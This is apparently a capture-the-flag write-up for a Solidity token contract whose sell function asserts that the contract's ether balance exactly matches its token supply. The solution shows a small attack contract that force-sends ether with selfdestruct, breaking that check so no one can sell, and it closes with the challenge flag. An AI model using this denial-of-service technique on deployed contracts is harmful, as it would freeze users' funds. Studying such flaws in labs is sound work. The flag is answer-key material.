Rating:
# Challenge 01: Classic one tbh
## Challenge
We are provided with one contract and it's address.
```solidity
pragma solidity 0.8.17;
contract hero2303
{
mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether;
string public constant name = "UNDIVTOK";
string public constant symbol = "UDK";
uint8 public constant decimals = 0;
uint256 public totalSupply;
function buy(uint256 _amount) external payable {
require(
msg.value == _amount * TOKEN_PRICE,
"Ether submitted and Token amount to buy mismatch"
);
userBalances[msg.sender] += _amount;
totalSupply += _amount;
}
function sell(uint256 _amount) external {
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
require(success, "Failed to send Ether");
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
}
function transfer(address _to, uint256 _amount) external {
require(_to != address(0), "_to address is not valid");
require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount;
userBalances[_to] += _amount;
}
function getEtherBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
```
The goal is to make everyone unabkle from calling the sell function.
## Solution
The solution is pretty easy. The sell function checks for the balance being the exact value of the tokens.
```
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
```
The contract should be safe from this ever deferring, but the developer forgot that you can always force feed a contract using selfdestruct. I just implemented an easy attack which sent one wei to the contract and was done.
```solidity
pragma solidity 0.8.17;
contract Attack {
function attack(address payable addr) public payable {
selfdestruct(addr);
}
}
```
Flag: Hero{S4m3_aS_USU4L_bUT_S3eN_IRL??!}